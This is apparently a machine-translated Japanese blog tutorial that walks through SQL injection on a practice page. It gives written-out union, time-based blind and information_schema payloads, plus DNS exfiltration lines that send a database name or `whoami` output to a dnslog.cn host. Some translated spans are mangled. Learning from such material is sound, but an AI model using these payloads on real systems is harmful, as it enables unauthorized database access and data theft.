x010

x010

厚积薄发

sqlインジェクションのまとめ

ターゲットページ#

ページを開くと明らかに注入ポイントが見つかります
image.png
これをテストして、and 1=1 を追加するとページが正常に表示され、and 1=2 の場合はページが異常になることがわかりました
数字型である可能性があります
数字型は引用符を閉じる必要がなく、文字型を構築する際には引用符の閉じを注意する必要があります
image.png
order by 3 でページがエラーを返すことから、現在のデータベースには 2 つの列が存在することがわかり、データベースにエコーがないことも確認しました
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
if 文と exists 関数を使用して information_schema.tables というテーブルが存在するかどうかを確認します
存在する場合は 10 秒遅延します
存在しない場合は数値 1 を返します。この 1 は if 文の中で真を表し、結果に影響を与えません
簡単に言うと、information_schema.tables というテーブルが存在すれば 10 秒遅延し、存在しなければページは正常に実行され遅延しません
image.png

Linux システムで ping \whoami`.i0f4xk.dnslog.cn を実行すると、whoamiがバッククォートで囲まれているため、最初にwhoami コマンドが実行されます<br />同様に、ping $(whoami).i0f4xk.dnslog.cnも上記のコードと同じ効果があります<br />しかし、DNSの前にwhoamiを直接追加してもコマンドは出力されません<br />同様に、Windowsではping % username%..i0f4xk.dnslog.cn` を使用してもコマンドを実行できます

私は DNS のワイルドカード解決の原理についてまだ理解が浅いので、詳しく解説してくれる方がいれば嬉しいです。

?id=1 union select 1,load_file(concat("\\\\",(select database()),".eoumbx.dnslog.cn\\abc")) --+
ページは正常ですが、DNS ログの外部取得に失敗しました

DNS ログの外部取得ができないことに気づき、行き詰まったときに ?id=1 and 1=2 union select 1,2 にエコーがあることに気づき、突然明るくなりました(スターゲーマーは見つけるのが難しいと感じています。。。。)
image.pngそれで、直接 ?id=1 and 1=2 union select 1,database() を使用して現在のテーブル名が maoshe であることを確認しました
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

information_schema は特別なデータベースで、SQL 標準で定義されており、データベースのメタデータを保存するために使用されます。これには、データベース、テーブル、列、制約、権限などの情報が含まれます。

table_schemainformation_schema.tables でデータベースのテーブル名を照会する関数です
columns_nameinformation_schema.columns でデータベースの列名を照会する関数です

image.png
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database() and table_name ="admin" limit 0,1 でパラメータオフセットを使用して admin テーブルに idusernamepassword 列があることを確認しました

information_schema.columnscolumn_name 列を照会することで admin テーブルの列名を取得できます
テーブル名が現在のテーブル名と一致する場合、and を使用して条件を追加し、table_name= "admin" つまり前のステップで照会した admin のみが表示されます
limit パラメータは結果をオフセットするために使用され、エコーが 1 つだけの場合、limit x,y を使用して調整します
x 番目から y 個を出力します

image.png
テーブル名と列名がわかればデータの出力は非常に簡単です

インターネットでの情報検索を通じて、group_concat() 関数を利用して大量のデータを出力できることがわかりました
例えば、?id=1 and 1=2 union select 5,group_concat(table_name) from information_schema.tablestable_name のすべてのデータを出力できます!image.png
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
image.png

次に、SQL インジェクションの考え方について簡単に説明します

  1. 注入ポイントを見つける必要があります
  2. 判断を行い、文字型か数字型かを判断します。文字型は適切に引用符を閉じる必要があり、数字型は必要ありません
  3. order by を使用してフィールド数を判断します(後のエコーポイントの利用を容易にするため)
  4. 結合エラーチェックを通じてエコーポイントを判断します(エコーがない場合は盲目的な注入を行うしかありません)
  5. information_schema.tablestable_name を使用してテーブル名を照会します(単一の照会に limit を利用することも、group_concat を使用して照会することもできます)
  6. information_schema.columnscolumn_name を使用して列名を照会します
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。